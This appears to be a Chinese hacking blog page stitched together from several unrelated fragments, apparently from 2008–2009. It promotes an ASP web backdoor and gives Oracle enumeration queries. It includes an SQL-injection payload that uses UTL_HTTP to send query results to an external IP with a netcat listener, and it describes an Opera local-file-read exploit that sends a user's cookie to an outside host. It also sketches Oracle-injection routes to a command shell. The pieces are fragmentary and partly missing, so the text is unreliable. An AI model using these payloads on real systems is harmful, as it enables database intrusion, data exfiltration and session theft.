心动吧黑客BLOG

 这一个文章和我以前发布的一个文章正好成了一个对比（文章连接），如果上一次是茅。那么此次这个就是盾了.为什么这样说？请看一下上一篇的文章。因为上一次是直接修改数据库的防下载表而不会造成数据沉淀在数据库里面。那么换一个思想来讲。假设在数据库当中并没有这一个防下载表。但是却有防下载功能。

例图：

 先要在此感谢evil的提醒,昨天(2009-3-11)时上网后。发现网上有很多新版本的SHELL发布。而且还声称是终结版(我自己都没把自己终结。倒被你终结了).而且采用了加密手段。。现在我将下载回来程序。。打开并分析一下。现在把报告给大家。请慎重使用。。。。

心动吧asp在线-不加密加强版-是市面上目前功能最强的.速度最好的一款asp后门

 此内部版修正了:关于无端口的sql连接出错.通用三种SQL连接方式

转自：TR博客

使用低权限Oracle数据库账户得到OS访问权限

http://dsecrg.com/files/pub/pdf/Penetration_from_application_down_to_OS_(Oracle%20database).pdf

...

配合open那个工具
第一部分

基本查询指令
select * from V$PWFILE_USERS //查看dba用户
select * from v$version //查看oracle版本以及系统版本
select * from session_privs;// 查看当前用户拥有的权限值
select * from user_role_privs\\查询当前用户角色
select * from user_sys_privs\\查询当前用户系统权限

的Oracle 密码可以由英文字母，数字，#，下划线(_)，美元字符($)构成，密码的最大长度为30 字符；Oracle 密码不能以"$"，"#"，"_"或任何数字开头；密码不能包含"SELECT"，"DELETE"，"CREATE"这类的Oracle/SQL 关键字。
2 Oracle 的弱算法加密机制：两个相同的用户名和密码在两台不同的Oracle 数据库机器中，将具有相同的
哈希值。这些哈希值存储在SYS.USER$表中

.....

首先外网nc监听对应的端口

url语句简单如下所示：

http://www.exploits.com.cn/Kindle?jsp=1 and UTL_HTTP.request('外网ip:port/'||(sql语句))=1--

内容如下：
........

装了一个oracle db11g，于是想试一下网上流传的在sqlplus中执行cmd的一些命令，也不知怎么的，没一个好用的，可能是网上转来转去的转错了．不过有一个简单的执行cmd命令方法：

SQL> host net user

User accounts for \\PC-ATQHJ4UG1SDA

----------------------------------------------------------------------------
__vmware_user__          admin                    Administrator
ASPNET                   Guest                    IUSR_PC-ATQHJ4UG1SDA
IWAM_PC-ATQHJ4UG1SDA     SUPPORT_388945a0
The command completed successfully.

....

作者：空虚浪子心

在前文《opera9.52使用ajax读取本地文件漏洞》
中，提到了opera的ajax读取本地文件漏洞。

但是利用方式上，比较狭隘。

很少人会专门下载htm文件到本地，然后打开。

但是动态语言（php，asp等）只要修改header，就可以指定让用户下载。

我们设计如下代码的php文件：
 

b.php代码

by 空虚浪子心

这也可能是一个安全特性吧，opera可以使用ajax读取本地文件。

ff3没有这个漏洞。

不废话，看代码吧。

利用方式如下：

这段代码保存为本地htm文件，然后使用opera打开。

将会把本地用户名为administrator在alibaba的cookie，发送到http://www.inbreak.net/kxlzxtest/testxss/a.php

    <iframe id="framekxlzx" width=0 height=0></iframe> 

　linx 2008.1.12

　　介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。

　　以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)的形式即可。(用" 'a'|| "是为了让语句返回true值)语句有点长，可能要用post提交。

...